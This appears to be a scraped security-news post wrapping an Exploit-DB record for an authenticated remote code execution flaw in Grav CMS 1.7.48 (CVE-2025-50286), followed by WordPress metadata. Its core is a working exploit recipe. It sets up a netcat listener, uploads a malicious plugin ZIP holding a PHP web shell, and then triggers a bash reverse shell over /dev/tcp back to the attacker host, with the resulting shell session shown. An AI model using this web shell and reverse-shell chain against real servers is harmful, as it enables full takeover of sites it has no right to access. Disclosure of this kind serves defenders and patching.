{“lastseen”:”2025-08-11T16:26:28″,”description”:”Exploit Title: Grav CMS 1.7.48 – Remote Code Execution (RCE) Date: 2025-08-07 Exploit Author: binneko (https:\/\/github.com\/binneko)…”,”published”:”2025-08-11T00:00:00″,”modified”:”2025-08-11T00:00:00″,”type”:”exploitdb”,”title”:”Grav CMS 1.7.48 – Remote Code Execution (RCE)”,”source”:””,”references”:””,”id”:”EDB-ID:52402″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-50286″],”sourceData”:”# Exploit Title: Grav CMS 1.7.48 – Remote Code Execution (RCE)\\r\\n# Date: 2025-08-07\\r\\n# Exploit Author: binneko (https:\/\/github.com\/binneko)\\r\\n# Vendor Homepage: https:\/\/getgrav.org\/\\r\\n# Software Link: https:\/\/github.com\/getgrav\/grav\/releases\/tag\/1.7.48\\r\\n# Version: Grav CMS v1.7.48 \/ Admin Plugin v1.10.48\\r\\n# Tested on: Debian 11, Apache2, PHP 7.4\\r\\n# CVE: CVE-2025-50286\\r\\n\\r\\n# Description:\\r\\nGrav CMS v1.7.48 with Admin Plugin v1.10.48 is vulnerable to Authenticated Remote Code Execution (RCE)\\r\\nthrough the \\”Direct Install\\” feature in the admin panel. An authenticated administrator can upload\\r\\na malicious plugin that contains arbitrary PHP code, which will be executed by the server upon access.\\r\\n\\r\\n# Steps to Reproduce:\\r\\n\\r\\n1. Start a listener on your attack machine:\\r\\n nc -lvnp 4444\\r\\n\\r\\n2. Log in to the Grav Admin Panel as an administrator:\\r\\n https:\/\/\\u003ctarget\\u003e\/admin\\r\\n\\r\\n3. Navigate to:\\r\\n Tools \u2192 Direct Install\\r\\n\\r\\n4. Upload a ZIP archive containing the following structure:\\r\\n\\r\\n evilplugin\/\\r\\n \u251c\u2500\u2500 evilplugin.php # Contains: \\u003c?php shell_exec($_GET[‘cmd’]); ?\\u003e\\r\\n \u2514\u2500\u2500 blueprints.yaml # Minimal content to pass plugin validation\\r\\n\\r\\n5. Access the uploaded plugin\u2019s endpoint and trigger the payload:\\r\\n\\r\\n curl –get –data-urlencode \\”cmd=bash -c ‘bash -i \\u003e\\u0026 \/dev\/tcp\/host.docker.internal\/4444 0\\u003e\\u00261’\\” http:\/\/\\u003ctarget\\u003e\/\\r\\n\\r\\n6. Observe the reverse shell:\\r\\n\\r\\n $ nc -lvnp 4444\\r\\n Listening on 0.0.0.0 4444\\r\\n Connection received on \\u003ctarget-ip\\u003e\\r\\n www-data@target:\/var\/www\/html$ whoami\\r\\n www-data\\r\\n\\r\\n# Notes:\\r\\n- Authentication is required (admin-level).\\r\\n- The vulnerability exists due to insufficient validation in the plugin upload feature (`\/admin\/tools\/direct-install`).\\r\\n- Successful exploitation may result in full system compromise.\\r\\n\\r\\n# References:\\r\\n- https:\/\/github.com\/getgrav\/grav\\r\\n- https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2025-50286\\r\\n\\r\\n# Disclaimer:\\r\\nThis exploit is provided for educational and research purposes only.”,”sourceHref”:”https:\/\/www.exploit-db.com\/raw\/52402″,”cvss”:{“score”:8.1,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:N\/AC:H\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.exploit-db.com\/exploits\/52402″,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-08-11T16:26:28″,”description”:”Exploit Title: Grav CMS 1.7.48 – Remote Code Execution (RCE) Date: 2025-08-07 Exploit Author: binneko (https:\/\/github.com\/binneko)…”,”published”:”2025-08-11T00:00:00″,”modified”:”2025-08-11T00:00:00″,”type”:”exploitdb”,”title”:”Grav CMS 1.7.48 – Remote Code Execution (RCE)”,”source”:””,”references”:””,”id”:”EDB-ID:52402″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-50286″],”sourceData”:”# Exploit Title:…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,52,12,40,15,13,7,11,5],"class_list":["post-10367","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-81","tag-exploit","tag-exploitdb","tag-high","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n